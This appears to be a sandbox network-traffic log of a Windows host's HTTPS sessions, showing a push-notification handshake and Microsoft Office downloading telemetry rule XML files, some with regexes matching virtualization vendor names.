2024-12-08 14:38:41 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 33 7a 35 66 43 4e 56 62 50 55 69 38 47 37 67 75 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 35 36 61 63 30 36 38 61 65 36 66 64 31 66 38 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 66 66 58 61 79 5a 75 6c 33 67 6b 6f 6f 50 45 4c 43 4a 48 4e 56 4e 64 45 5a 71 31 76 6f 41 33 75 33 7a 42 6e 4e 61 54 63 37 6b 4c 76 4a 33 74 70 70 46 6c 30 55 65 6e 42 6b 66 75 34 66 6d 39 47 64 36 55 76 38 2f 77 48 4b 47 43 74 76 6b 37 76 4c 4e 44 5a 4e 69 38 78 67 48 6f 79 72 50 55 57 4f 38 61 36 74 75 2f 69 51 45 4f 59 36 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 3z5fCNVbPUi8G7gu.2Context: 456ac068ae6fd1f8<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAffXayZul3gkooPELCJHNVNdEZq1voA3u3zBnNaTc7kLvJ3tppFl0UenBkfu4fm9Gd6Uv8/wHKGCtvk7vLNDZNi8xgHoyrPUWO8a6tu/iQEOY6
2024-12-08 14:38:41 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 33 7a 35 66 43 4e 56 62 50 55 69 38 47 37 67 75 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 35 36 61 63 30 36 38 61 65 36 66 64 31 66 38 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 3z5fCNVbPUi8G7gu.3Context: 456ac068ae6fd1f8<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-08 14:38:41 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-08 14:38:41 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 4e 7a 43 43 71 73 36 5a 6d 6b 43 4f 4c 64 46 34 42 2f 62 69 2b 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: NzCCqs6ZmkCOLdF4B/bi+Q.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.6	49800	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:43 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:43 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 90a1454b-001e-0079-3203-4812e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143843Z-r1cf579d778t5c2lhC1EWRce3w00000006d0000000000720 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:43 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.6	49802	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:43 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:43 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 3535b705-f01e-0099-040e-499171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143843Z-r1cf579d778bb9vvhC1EWRs95400000005700000000042eq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:43 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:43 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:43 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: ea68c315-b01e-005c-4bf1-484c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143843Z-r1cf579d7789trgthC1EWRkkfc000000069g000000004w0n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:43 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.6	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:43 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:43 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 7eef6d74-301e-005d-1744-49e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143843Z-r1cf579d77867vg8hC1EWR8knc00000005bg000000008g56 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:43 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:43 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:43 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 337dc70d-a01e-0053-5e05-488603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143843Z-r1cf579d7788pwqzhC1EWRrpd800000005u00000000069az x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:43 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:45 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:45 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 09205d62-a01e-0021-3a05-48814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143845Z-r1cf579d778dndrdhC1EWR4b2400000005b0000000002758 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:45 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.6	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:45 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:45 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 4c7743ed-001e-0082-4b03-485880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143845Z-r1cf579d778dndrdhC1EWR4b24000000058g0000000065ma x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:45 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.6	49807	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:45 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:45 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 1f17df4b-601e-0050-2d03-482c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143845Z-r1cf579d778t5c2lhC1EWRce3w00000006bg000000002a6s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:45 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.6	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:45 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:45 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 9160dc9b-d01e-00ad-5f02-48e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143845Z-r1cf579d778qlpkrhC1EWRpfc800000006bg000000002eh6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:45 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.6	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:45 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:45 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: a215b4dd-e01e-0071-4e03-4808e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143845Z-r1cf579d778t6txphC1EWRsd44000000060g000000007b3p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:45 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.6	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:47 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:47 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: a374b664-e01e-0051-1f05-4884b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143847Z-r1cf579d778x776bhC1EWRdk8000000005m0000000005wyp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
